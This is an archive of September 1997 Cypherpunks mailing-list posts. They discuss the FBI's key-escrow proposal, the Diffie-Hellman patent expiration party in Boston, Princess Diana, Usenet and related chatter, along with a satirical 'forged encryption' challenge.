address, so that we can send you a confirmation

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

November  Carl Ellison         Identity and Certification for Electronic
                                Commerce
December  James O'Toole        Internet Coupons
January   Joseph Reagle        "Social Protocols": Meta-data
                                and Negotiation in Digital Commerce


We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 5 Sep 1997 23:54:53 +0800
To: cypherpunks <cypherpunks@cyberpass.net
Subject: EMP & Cars (fwd)
Message-ID: <Pine.SUN.3.96.970905114716.4176C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Found this on the seclist:

10)From: Duece6x6@aol.com
Subject: EMP
 
There has been quite an interest in EMP. Very simply EMP is a broadband
electrical pulse. A friend of mine worked for the GOV on EMP test
projects. I have some of the wooden nuts and bolts from the antenna towers
and the wooden runways used to taxi aircraft for testing. He related EMP
pulses to a near miss lightning strike. As far as vehicle disabling, There
are claims that auto manufactures have built in a shut down frequency into
the computers in certain vehicles. We wound a large coil on a carpet paper
tube and put an oscillator on it and it would flood a vehicles electrical
system to shut it down, but it was huge. The easiest way to learn about
EMP is to find the International TESLA society web site and interpret the
information there.  He was the pioneer of EMP. 
 
THE DUECE






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Sat, 6 Sep 1997 03:56:15 +0800
To: cypherpunks@cyberpass.net
Subject: backdoor man?
Message-ID: <v04001326b0360d5ee20e@[205.180.136.85]>
MIME-Version: 1.0
Content-Type: text/plain



 White House policy chief backs away from FBI plan

  By Reuters September 5, 1997, 6:10 a.m. PT

WASHINGTON--The Clinton administration's top official on domestic legal
policy yesterday backed away from a proposal by the head of the FBI to
regulate access to residential property in the United States.

"What he proposed was not the administration's policy," Dept. of Justice
Undersecretary William "Mon-key" Wrench told reporters during a break at a
congressional hearing.

FBI Director Louie Free's comments Wednesday before a subcommittee of the
Senate Judiciary Committee sparked strong criticism from civil liberties
groups and the housing industry.

U.S. law, Supreme Court decicisions, and the U.S. Constitution itself,
strictly regulates law inforcement's access to private property. But on
Wednesday, Free proposed mandatory law inforcement access to all domestic
residential property, and went on to suggest commercial property be subject
to law inforcement access as well.

"The administration has been very clear to the director that he has an
obligation to tell the Congress what's in the interests of law enforcement,
and he did that," Wrench explained. "That doesn't mean he was speaking for
everybody."

Free said developers and construction companies should build their products
such that they give government free access to all domestic and commercial
buildings.

Without such capabilities, criminals, terrorists, and pedophiles could use
housing to hide their illegal activities from law enforcement agencies,
Free said.

But housing industry lobbyists maintain that Free's plan would make their
products less attractive and make all housing less secure. Civil liberties
groups said mandatory controls on domestic housing might violate
constitutional guarantees of privacy and freedom of expression.

Under the FBI director's proposal, all construction plans would have to
include special "back doors" allowing government access to the finished
structures, but residents could choose to shut their back door if they saw
fit.

Some senators wanted to go further. Sen. Dianne Fineline (D--California)
proposed requiring all housing residents to enable the back-door access
feature. Free said such a law would be the best solution for law
enforcement but added that he did not think it was politically viable.

Wrench said Free's proposal was also unlikely to pass.

"If the committee were to report that [bill out], I think that would be
something we would look at very seriously," he said. "But I don't expect
that to happen. We have not asked them to report that and we are not going
to ask them to report that."

 -30-

[from: Noah Salzman <noah@pgp.com>]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 6 Sep 1997 03:33:26 +0800
To: "James A. Donald" <jamesd@echeque.com>
Subject: Re: FCPUNX:FBI calls for mandatory key escrow
In-Reply-To: <199709051839.LAA24267@proxy3.ba.best.com>
Message-ID: <Pine.LNX.3.95.970905125709.592D-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 5 Sep 1997, James A. Donald wrote:

> At 07:40 AM 9/4/97 +0200, Anonymous wrote:
> >  Who is going to stop them? They have the guns! When our elected
> > officials in Congress delved into the INSLAW affair, the Department 
> > of Justice told them to "Fuck off." and refused to cooperate with 
> > those who represent the citizens. Congress's reaction was to say, 
> > "Yup. They're defying us."
> >  Ipso facto--Congress is not running the country. The LEA's are running
> > the country. Go figure...
> 
> It used to be that normal federal agencies did not have their own goons.
> 
> They relied on the fibbies.
> 
> Now every federal agency is creating their own goon squad.  Sometimes
> they send in the goons to illegally enforce the laws that they are 
> lobbying for.  Congress then has to make it legal, or crack down on
> illegal use of force by a federal agency.  Frequently they make it
> legal
> 
> This is reminiscent of the latter days of the Soviet Union.
> 
> Towards the end in the Soviet Union, armed government agencies
> would raid other agencies for valuables, and set up road blocks
> at random times and places, and confiscate anything valuable
> being trucked through by another government agency.  No kidding.
> 

There is an interesting analysis of this process in the book, "The
Sovereign Individual".  They point out that during the end of one
mega-political age and the beginning of the next, the agency with a force
monopoly becomes corrupt in the extreme.  The authors define a
mega-political age as a fundamental change in the balance of power between
human predators and human prey. 

For example, hunter-gatherers to agricultural to industrial to 
cypher/network/informational.

Lets just hope the transition is as quick and painless as
possible.

Anyone have any background on the author's of this book?

Lord Rees-Moggs (and someone who I can't remember)

Jim Burnes







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 6 Sep 1997 05:01:56 +0800
To: Alan Olsen <alano@teleport.com>
Subject: Re: Political News from Wired News
In-Reply-To: <340F2A6A.4A4F@teleport.com>
Message-ID: <199709052050.NAA13608@netcom8.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




it's amazing. in all the blathering by senators etc. over these
crypto bills (Feinstein, Freeh etc.), 
has *anyone* raised the possibility on the record
that the key recovery is UNCONSTITUTIONAL? 

maybe I'm not following closely enough, but I haven't seen a *single* 
reference. that's really eerie. can't we get a *single* 
senator to bring up that issue?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 6 Sep 1997 02:47:47 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <b6bb25f3605f81031ad2ee61ea48e9fc@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Re: traffic cameras, the latest issue of the "Computer Currents" local to
NY has an url that supposedly reports the location of these cameras in New 
York City:

http://www.panix.com/~sshah/ss-nyred.htm

Have fun.

FedPlunger
        






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Sat, 6 Sep 1997 05:52:51 +0800
To: jim.burnes@ssds.com
Subject: "The Sovereign Individual" (Was Re: FCPUNX:FBI calls for...)
In-Reply-To: <Pine.LNX.3.95.970905125709.592D-100000@westsec.denver.ssds.com>
Message-ID: <9709052139.AA00524@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes writes:
> There is an interesting analysis of this process in the book, "The
> Sovereign Individual".
> [...]

Yes, I saw this in a bookstore.  It looks interesting; if and when I
wade through my current stack of unread books, I intend to pick it up.
I'd be interested in hearing the opinions of any c-punks who have read
it, if you think it's relevant to the list.

> Anyone have any background on the author's of this book?

> Lord Rees-Moggs (and someone who I can't remember)

It's Lord William Rees-Mogg.  His co-author is James Dale Davidson,
the founder of the U.S. National Taxpayers' Union.  The two of them
previously wrote "Blood in the Streets" and "The Great Reckoning",
and publish a newsletter called "Strategic Investment".  Davidson also
wrote a pamphlet called "The Plague of the Black Debt" (!), which
appears to be intended as an advertisement for the newsletter.

(I sent away for a sample copy of SI a couple of years ago, and found
it to be a rather odd bird as far as investment newsletters go.  As I
recall, it did have a fair amount of investment analysis and advice --
presented in a rather breathless, hyperbolic style, IHMO -- but it was
mixed in with numerous articles dealing with Whitewater, Vince Foster,
and so forth.  I didn't subscribe.)

Here are a few links, courtesy of Alta Vista:

http://www.amazon.com (search for ISBN 0684810077; includes reader reviews)
http://www.strategicinvestment.com/sample.html (see it for yourself)
http://www.worth.com/articles/Z9611F08.html (the world of newsletter marketing)
http://www.free-market.com/zychik/1996/10/15.html (mentions SI, unfavorably)
http://cybersurfing.com/hfd/profl.html (caveat emptor)

--
Martin Janzen
janzen@idacom.hp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 5 Sep 1997 17:05:09 +0800
To: Nobuki Nakatuji <bd1011@hotmail.com>
Subject: Re: standardizing encryption
In-Reply-To: <19970905042902.22589.qmail@hotmail.com>
Message-ID: <Pine.LNX.3.93.970905143655.638B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 4 Sep 1997, Nobuki Nakatuji wrote:

> Do you think do to use standardizing encryption?
> I think It isn't too very good.

Rather then being not too good, it is infact neccery.  Unless we have a
standard, secure encrytion system, cryto is next to useless.

What is the use of encrypting your email if the recpent can't decode it.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Sat, 6 Sep 1997 06:06:57 +0800
To: cypherpunks@toad.com
Subject: Usenet Propagation Sucks
Message-ID: <199709052156.OAA11226@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos <enoch@zipcon.net> wrote Fri 29 Aug 1997:
>Theoretically, I was under the impression that Usenet consisted of a large
>number of machines, which compared their news spools continuously, with
>each giving the other all articles that were not on both machines. 
> 
>Practically, this seems to work a lot less well than the designers
>envisioned.

In practice, it's really tough to keep a good feed going. We happen
to keep the alt.anon* stuff for a longer period of time. We've started
keeping individual groups longer as requested by readers. This makes
them happy, for the most part. It needs so much disk! We have two incoming
server feeds and three outgoing and people still complain that their
groups don't have enough messages for their liking. Plus the damn thing's
history database has to be rebuilt twice a month, and at night lest the
customers come for blood when they don't get their daily usenet, and it
never seems to go right without someone (me namely) sleeping in the office
keeping it company during the process.

A server would need terabyte upon terabyte to store a good archive
of Usenet for, say, the past year.

I wonder if the designers could forsee Usenet's explosive popularity,
or the taxing load the spammers place.

Mark Hedges





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 6 Sep 1997 05:40:38 +0800
To: cypherpunks@toad.com
Subject: Re: Di and Dodi Run Over A Land Mine
In-Reply-To: <v02130501b0360ac97d04@[192.9.150.95]>
Message-ID: <341077A6.F8F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



A Private Email wrote:
> 
> >  Yes, in reality, the story of Diana, the commoner turned Princess,
> >was overblown. 
> 
> Diana, though a high-school dropout who described herself as "a bit thick,"
> was not a commoner. Daughter of the 8th Earl Spencer, she was a direct
> descendant of Charles II, and thus carried more "English royal blood" in
> her veins than does Prince Charles Windsor (really Saxe-Coburg Gotha, of
> course.)

  Of course, but "the commoner turned Princess" is the fairy tale that
is perceived by the public. This is because people perceive her as
being a rather ordinary person--like them. Thus it makes the "dream"
possible for them, as well.

> Whether this makes it sensible for some overweight London shopgirl of
> Pakistani descent, with a cockney accent, to "reach for the same gold
> ring," is highly debateable. In fact, for such a woman to dream of being
> accepted into the royal family strikes me as downright loony.

  It _is_ looney. So is the "American Dream." So is going to the moon.
So is the belief that we can end poverty and war, and turn back the
tide of unconstitutional fascism that is building up for another run
at freedom and liberty.
  Sometimes the dreams come true--most often, the dream comes partly
true, or serves to inspire a person on their road to an achievable
goal in a more realistic manner.
 
> Diana Spencer appears to have been a dear and well-intentioned young woman,
> though no intellect. She bore healthy children, whom I'm sure she loved.
> But Americans' excessive and nearly worshipful fascination with her is a
> bad sign, a sign that we've lost track of our own dream. Our heroines ought
> to be intelligent, energetic women who make their own fortunes, and their
> own celebrity. Instead, we sneer at our own self-made millionaires as
> "nouveau upstarts" and "greedy exploiters of the oppressed working class."

  Yes, but the reason that Diana is so popular is that The Dream (TM)
came true for her, and then, when The Dream (TM) turned sour, because
she would not play her role as accepting pawn, she walked away from it
instead of debasing herself. Then, she overcame the powerful pressures
against her, as well as her own inner frailty, and became the best
person/Princess that was possible for her, choosing to make the best
use of the position and attention that was impossible to avoid.

> If the magazines brought us stories of women who started small businesses
> (often with their husbands), and MADE THEMSELVES rich and successful, we
> might truly be inspired to save that extra $20, to take on a part-time job,
> to start a little part-time enterprise of our own.

  It is true that the stories of the average working joe who lives
frugally and uses his/her money to put a dozen children of others
through college gets short play in the press. Likewise, the Sam Walton
and Bill Gates types of stories don't get constant exposure as do the
fairy tale stories of the rich and famous. But I think that all of
these dreams, of varying realistic levels, serve a function.

> But the hidden message
> of all the coverage of the Dianas of this world is, "You can never have
> this, because you're not of the right blood. So don't even try; just put in
> your eight hours on the assembly line, and then have a few beers and look
> at the pretty pictures of the princess, close your eyes and dream that you
> were there ... until the alarm clock rings and it's time to trudge back to
> work."

  Yes, if that is the "hidden message" that you want to see. The reality
is that we ignore reality in many ways, hence our _ability_ to dream of
things which may be somewhat (or totally) unrealistic. We construct our
own "hidden messages" according to our desires and needs.
 
> WHICH dreams we choose to indulge, can determine the course of our lives.

  I very much agree with you on this. The same applies to our choice of
role models, as well.
  Of equal or greater importance is our ability to emulate the best 
characteristics, values, etc., of our role models or our dreams, and
to eschew the qualities that are unrealistic for us, or of mean spirit.

  Perhaps Diana could have made a _better_ job of using her knowledge,
talents and social position to make the world a better place for her
having been in it, but to whom of us does this _not_ apply?
  Precious few, I suspect.

  I think that your throwing a realistic perspective on the overblown
fairy tale serves a valid purpose. It is for this type of realism that
I read your works. I don't think your perspective is a threat to those
who need to hold on to a more unrealistic view for their own purposes,
since our minds are pretty good at creating our own revisionist history
when it suits our purpose.
  As a matter of fact, your column gave me a wider base of knowledge
and perspective in viewing Diana's life and history.

  All in all, I hope that more people choose Princess Diana as a role
model of sorts, than choose Diane Feinstein.

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sat, 6 Sep 1997 04:02:02 +0800
To: cypherpunks@Algebra.COM
Subject: Dianaism Was: Re: Di and Dodi Run Over A Land Mine
Message-ID: <199709051943.PAA28355@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:54 AM 9/5/97 -0600, toto wrote:
...
>  Diana used the position that was bestowed upon her to give comfort
>and hope to the halt, the lame, and the downtrodden. Did she do it
>out of self-serving egoism, or an attempt to gain recognition and 
>fame as a humanitarian?
>  I don't know, I don't care, and it is really none of my business.
>What *is* my business is to view my fellow man/woman and perceive
>if they are lifted up or further downtrodden by their interactions
>with myself and others. I have seen the faces of the AIDS children
>that she touched, when no one else would, and the lepers whom she
>shook hands with, when others were afraid to do so, and I have seen
>the light that she spread among those whom society had cast aside.
...
Anyone care to lay odds as to how soon a religion will start up with the
late princess as the main diety?
I'm guessing 5 years for the first hard-cores.  And 20 years for
international visibility.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 6 Sep 1997 02:01:30 +0800
To: cypherpunks@toad.com
Subject: EFF $10,000,0000 Challenge
Message-ID: <2C5khz1Qq/5Whpq4Zl9wkQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




The Electronic Forgery Foundation is proud to announce a major 
breakthrough in encryption technology -- Forged Encryption.

We are offering a prize of $10,000,000.00 for anyone who can
correctly decipher the following Forged Encryption message.

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: od2CIT3fELE7K6bkIkKGJBj0MPUJ2TT8

hQCMA6ozRjzmqceZAQQAh02x0Dxer5vzZiSJ+v7bnMZQdgp425z5OH0NF/f/mXXc
vInw+UsuTXqWNEV5rEQKYjU3qHoe6suCz5f9hEEnOIBacsD28pYU4ahkGOCTuTY6
N3xKrtDRqLPInB8PY7Kfd56jjQsVVRKmJBwXqHbPax4YyUB6ZbKKvSPiuUsAAQSl
BAH3CFNKcmYjf+VtpjAVOpDNM/PMm1e6m33rZ01Sq6pXC0TTabCf7hkWscet0PCL
VX0l1Zw5IKaFqo+pZ3EICRMF6HQrc30G7L9TFeKr//3YsO3/bC4VBgNQHA0qf2nD
ldxAsTGPlRthBTxrzE0LjeOKi/pQOLXQMPQUwEIaL9rncjFgniplFoL6Nj0guJvW
VvS+gxth8hpeWss7WlFFioV0vShsS/lahA+eg/9nVy8ken8pr4m484w2vwoiSdce
CarVigVaRh6tCgh0jub7CHuDFg==
=Q9+G
-----END PGP MESSAGE-----

The EFF doesn't have a copy of the correct answer locked away in
a secret underground cave in Tibet, for verification, because
the above Forged Encryption message is just a bunch of crap we
typed in pretty much at random.

Does the government want to keep your private key in escrow? Give
them a copy of your EFF private key.
Hell, give them _two_ copies, in case one is corrupted.{;>) Smile
when you give them to the government agent. Ask him how his day
has been. Offer him some coffe, and ask about his family. Tell 
him you will send him a Christmas card with another copy of your
EFF private key, just in case the government misplaces the copies
you gave them.
Put your hand over your heart, salute the flag, and sing "God Bless
America" as the government agent leaves. Then fart.

Use the EFF Forged Encryption sofware regularly, to send messages
with Subject:'s like "The Plot Against the PREZ," "Confirmation of
the date of our armed assault," "The Nuke has arrived."
Keep a copy of your EFF Forged Encryption secret key in a directory
named "Off the Pigs." 
Most importantly, never reveal in your private email to others that
you are a deaf, dumb and blind quadraplegic who has been homebound
since birth. That way, the outrageous claims that government agents
make against you in their secret deposition for a warrant to kick
in your door and terrorize you will look all the more foolish during
your trial.

We at the Electronic Forgery Foundation realize that some of you wise
guys are thinking that, for $10 million, it is well worth your while
to write a program that will decipher the above message into something
meaningful. Well, knock yourself out, dudes, but if you think that
known forgers couldn't possibly be lying about the $10 million, then
go directly to http://www.clueserver/fucking_idiot, do not pass GO
and do not collect $200.

---------------------------------------------------------------------
  This message is copyrighted under the auspices of the Electronic 
  Forgery Foundation. Any misquoting, misrepresentation, or other
  abuse of this message would be greatly appreciated. Hell, you can
  tell people you wrote it, if you want to. We don't really care.
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 6 Sep 1997 14:10:52 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Administration backs away from FBI on crypto, by  A.Pressman (fwd)
In-Reply-To: <Pine.GSO.3.95.970904170615.22903F-100000@well.com>
Message-ID: <3.0.3.32.19970905173751.0069535c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:07 PM 9/4/97 -0700, Lucky Green wrote:
>>   "What he proposed was not the administration's policy," Commerce

>Of course it isn't. Not yet. This is called playing "good cop, bad cop".

Or as one of Stallone's characters put it "Bad cop, WORSE cop!"  :-)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Stephen Cravey <cravey@escapenet.org>
Date: Sat, 6 Sep 1997 06:57:42 +0800
To: cypherpunks@toad.com
Subject: Any Houston D-H expiration parties?
Message-ID: <34108AE0.42DF@stgenesis.org>
MIME-Version: 1.0
Content-Type: text/plain



Is anyone throwing a DH expiration party in Houston?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 6 Sep 1997 14:09:37 +0800
To: "Brian B. Riley" <cypherpunks@Algebra.COM>
Subject: Re: Big Brother is watching you watch Farenheit 451
In-Reply-To: <199709041247.IAA03203@mx02.together.net>
Message-ID: <3.0.3.32.19970905175611.0069535c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:47 AM 9/4/97 -0400, Brian B. Riley wrote:
>in the process of rereading "Fahrenheit 451" - the recent printing  of 
>this in paperback features a Marquis that says somethig like "Now, more 
>relevant than ever" - as much as I hate having someone else tell me what 
>to think ... they certainly seem to be right. It has been over twenty 

BTW, the last copy of F451 I saw really irked me - the cover had
explanatory notes like "Fahrenheit 451, the temperature that books burn!"
and stuff about firemen whose job is setting fires.  
Are today's kids dumbing down, or less literate, or is it just enough
longer since the book was written that publishers need to try harder to 
get people to read it?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 6 Sep 1997 14:11:34 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <Pine.LNX.3.95.970903155835.15333E-100000@sulaco.proxicom.com>
Message-ID: <3.0.3.32.19970905180150.0069535c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:53 AM 9/4/97 -0400, stonedog@ns1.net-gate.com wrote:
>Interesting. In NJ, where I have had the misfortune of living, "being able
>to face your accuser" means that if the cop doesn't show you have to
>reschedule and keep rescheduling until he _does_ show. For this reason, I
>had assumed that the "no cop, no case" clause was simply hopeful urban
>legend.

Whether they get to reschedule may depend on factors you can control;
get some professional advice if this happens to you often :-)
The last time I had the opportunity to watch a NJ courtroom for a while,
the cops and prosecutors did have their act together.  The cop's 
testimony started out with being asked what he did that morning
"Calibrated my radar gun" "What model is it?"... "What steps did you
follow?"...

>If nothing else, we live in a "traffic police state".

Unfortunately, the one time I got stopped at a papers-in-order stop
and the cops asked me where I was going, I had a burned out tail light,
so I decided not to give the cops the answers they deserved.
"America, but I seem to have made a wrong turn and ended up here...."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 6 Sep 1997 09:59:26 +0800
To: cypherpunks@Algebra.COM
Subject: Is Diana News?
Message-ID: <v03102805b03665909a80@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




There have been a bunch of messages about this. Some satirical, some
serious. I've avoided any comment (so far as I remember).

But is it news?

I think so.

Not necessarily for Cypherpunks.

But I hear people saying this isn't news, that other things are more
important.

Sure, in some cases. But what is more important this week? News from Mars,
news that Congress is back in session?

Sometimes "personality" stories are more important than "normal event"
stories.

This story involves many interesting issues--freedom of speech, rights of
privacy, the accomplishments of Diana, the issue Toto raised that Diana is
surely a better role model than Diane (Feinstein), the monarchy, the
boycott of tabloids, etc.

No firm conclusions, but I reject completely the idea that routine reports
of Congress being back in session, or that several people were blown up in
Jerusalem, are bigger new stories than this.

This is headed for being the biggest news story of 1997, barring, of
course, an even bigger news story. Get used to it.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 6 Sep 1997 10:12:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DCSB: Boston D-H expiration Party at Doyles on Saturday.(fwd)y
In-Reply-To: <199709060026.UAA19169@www.video-collage.com>
Message-ID: <v03102806b03669607fcc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:26 PM -0700 9/5/97, Cypherpunks Maintenance Account wrote:

>Meanwhile, we're sitting here watching the Bay Area, and Austin, do
>something, and then Declan and the Washingtoonians do something, but the
>*final* straw came when Peter Wayner calls up and says:
>
>"WELL???? Are you guys in Boston going to DO something? I'm gonna file a
>story in the Times tomorrow that SAYS you are..."

Why not say, "Fuck you."? In other words, "If you report it's happening,
and it doesn't, I guess you'll be shown to be a typical medial fool."

This media-centric bullshit is getting way out of hand.

Even in jest.

--Tim May (No, I don't plan to attend the Bay Area version of this thing)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Sat, 6 Sep 1997 08:35:52 +0800
To: cpunks@www.video-collage.com (Cypherpunks Maintenance Account)
Subject: DCSB: Boston D-H expiration Party at Doyles on Saturday. (fwd)y
Message-ID: <199709060026.UAA19169@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Robert Hettinga -----

>From cpunks  Fri Sep  5 18:41:29 1997
X-Sender: rah@mail.shipwright.com
Message-Id: <v0311078cb036264cfc46@[139.167.130.248]>
Date: Fri, 5 Sep 1997 18:03:29 -0400
To: Recipient List Suppressed:;
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: Boston D-H expiration Party at Doyles on Saturday. 
Sender: owner-cypherpunks@toad.com
Precedence: bulk

-- Start of PGP signed section.
In utter anthesis of the way we normally do things at DCSB,


               The Digital Commerce Society of Boston

                            Presents
                      An Utterly Unplanned
                          Last-Minute
                       Spur of the Moment
                      Boston Pub-Crawling

                   Celebration of the Expiration
                             of the
                 Diffie-Hellman Public Key Patent



                    Saturday, September 6, 1997
                     3pm - Whenever we give up

                   at The William Braddock Cafe,
                        A.K.A  Doyles's

                      3484 Washington Street,
                      Boston (Jamaica Plain)


This all started out several months ago in my head as a spiffy whoop-de-do
black-tie webcasted countdown with sponsors and free champaigne and a
groaning buffet and penguin waiters and a cash bar at the Harvard Club with
a donation to a worthy cause, but, well, we couldn't get a time on the
patent, so the countdown was out, and we couldn't get sponsors (remembering
the last cocktail party, maybe there's a reason?), so the free bubbly and
munchies was out, PETA got us on the way we wanted to make the penguins
groan, and we couldn't think of a worthy enough cause, so that was out,
and, finally, the Club is closed on Saturday, anyway. Feh. So, we're
losers, okay? What can we say? Shoot us, already...

Meanwhile, we're sitting here watching the Bay Area, and Austin, do
something, and then Declan and the Washingtoonians do something, but the
*final* straw came when Peter Wayner calls up and says:

"WELL???? Are you guys in Boston going to DO something? I'm gonna file a
story in the Times tomorrow that SAYS you are..."

And so, bowing to the pressure of the media culture in memory of recent
events on the continent <ewwwww>, (and my own cravings for porkchops and
Pickwick Ale, <ewwwww>) I, Robert Hettinga, by the power vested in me by
the August (or maybe it was July) membership of the Society as Their
Moderator, do hereby unilaterally declare an Official Social Function of
the Digital Commerce Society of Boston to occur at Doyle's, 3484 Washington
Street, Jamaica Plain, Boston, tomorrow, Septmber 6, 1997, at 3PM Eastern
Standard Time, my God have mercy on our souls.

Bring your own money. :-). Be prepared to buy the moderator a drink.

If Doyle's gets boring, we'll crawl elsewhere, but only after an hour has
elapsed. If Doyle's isn't boring, we'll drink ourselves under the table, or
at least face-down on it, or until we're shown the door, or maybe until our
wives come and take us home, or something.

And, so, to paraphrase that great statesman, one David 'Davey' Crockett:
"Y'all can go to Hell. [or, Washington, or the Valley, or Texas, as the
case may be...] *I'm* going to Doyle's."

See you there.

Cheers,
Bob Hettinga
(Im)Moderator,
The Digital Commerce Society of Boston
-- End of PGP signed section, PGP failed!

----- End of forwarded message from Robert Hettinga -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 6 Sep 1997 11:02:03 +0800
To: cypherpunks@toad.com
Subject: Mandatory key escrow bill text, backed by FBI
Message-ID: <Pine.GSO.3.95.970905192805.15825I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



All encryption products distributed in or imported into the U.S. after
January 1, 1999 must have a key escrow backdoor for the government,
according to an FBI-backed proposal circulating on Capitol Hill. The
measure would impose a similar requirement on "public network service
providers" that offer data-scrambling services. FBI Director Louis Freeh
talked about this proposal, without disclosing legislation existed, at a
Senate subcommittee haring on Wednesday.

Domestic use and sale of encryption has never been regulated.

Attached is an excerpt from the draft "Secure Public Networks Act" dated
August 28.

